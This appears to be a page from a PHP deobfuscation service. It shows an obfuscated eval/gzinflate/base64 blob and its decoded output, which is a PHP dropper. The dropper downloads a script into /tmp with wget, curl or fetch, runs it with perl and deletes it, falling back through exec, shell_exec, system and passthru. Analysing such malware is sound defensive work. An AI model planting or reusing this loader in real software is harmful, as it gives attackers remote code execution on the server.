Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode(' rVLdToMwFL4n4R2OZAndFEm8ZRt7A1/AhMxyEEwp 2BZlMb67baEyjBs3..

Decoded Output download

?><?
/* -------------- */
$cmdexec="cd /tmp;chmod +x $script;perl $script;rm -rf $script $script.* 2>/dev/null";
/* -------------- */
$cmdwget="cd /tmp;wget -q $url/$script 2>/dev/null";
$cmdcurl="cd /tmp;curl -O -s $url/$script 2>/dev/null";
$cmdfetch="cd /tmp;fetch $url/$script 2>/dev/null";
/* -------------- */
$mycmdwget=ex($cmdwget);
$mycmdcurl=ex($cmdcurl);
$mycmdfetch=ex($cmdfetch);
$mycmdexec=ex($cmdexec);
/* -------------- */
echo $mycmdwget;
echo $mycmdcurl;
echo $mycmdfetch;
echo $mycmdexec;

function ex($cfe){
$res = '';
if (!empty($cfe)){
   if(function_exists('exec')){
   @exec($cfe,$res);
   $res = join("
",$res);
   }
elseif(function_exists('shell_exec')){
   $res = @shell_exec($cfe);
   }
elseif(function_exists('system')){
   @ob_start();
   @system($cfe);
   $res = @ob_get_contents();
   @ob_end_clean();
   }
elseif(function_exists('passthru')){
   @ob_start();
   @passthru($cfe);
   $res = @ob_get_contents();
   @ob_end_clean();
   }
 }
 return $res;
}
exit;
?>
<?

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode('
rVLdToMwFL4n4R2OZAndFEm8ZRt7A1/AhMxyEEwp
2BZlMb67baEyjBs3khD6ne98PxDS/Tb1vXgD0eyC
Tex7K1rn2CPdBTSHWNVtQsu6yeG2h5WkompV0qJg
P0DUEInCQfe838DDPs7xPeYdY0FyLe3jBdWUZhBE
b7DqBIud6y8vo6KaP+uoEUSPEMlFYYGKlpPSwqui
C83rk+uOPXHvsU4cY/uNjDlPzFBgpCyYOPvlR8qc
1xfzkZYNTCWS2cQEzic2Zz4y/nrie0XHqaoaDja4
wPWnriNQwg7CUG9UBZAbrFt1GmjDA0BVEKfMsK+k
kiQ0nqFbOBhkJXfGzryLno7Or03FSfDEg3PuSxdk
Ev9yliUyls38R6fDRA39lr1OUmE99WyeM6mOQpFR
ehgWzt1cll7VXzujDVfItZdT6DnyPKMMj5wsN2iP
UqpSdFc6uJV/aGFvgaoT3FpownTrK/PbpHvf26bf
')))

Function Calls

ex 1
gzinflate 1
base64_decode 1

Variables

$cmdcurl cd /tmp;curl -O -s 0/0 2>/dev/null
$cmdexec cd /tmp;chmod +x 0;perl 0;rm -rf 0 0.* 2>/dev/null
$cmdwget cd /tmp;wget -q 0/0 2>/dev/null
$cmdfetch cd /tmp;fetch 0/0 2>/dev/null

Stats

MD5 05470fd56256f70ccccb57c1c189fdd7
Eval Count 1
Decode Time 85 ms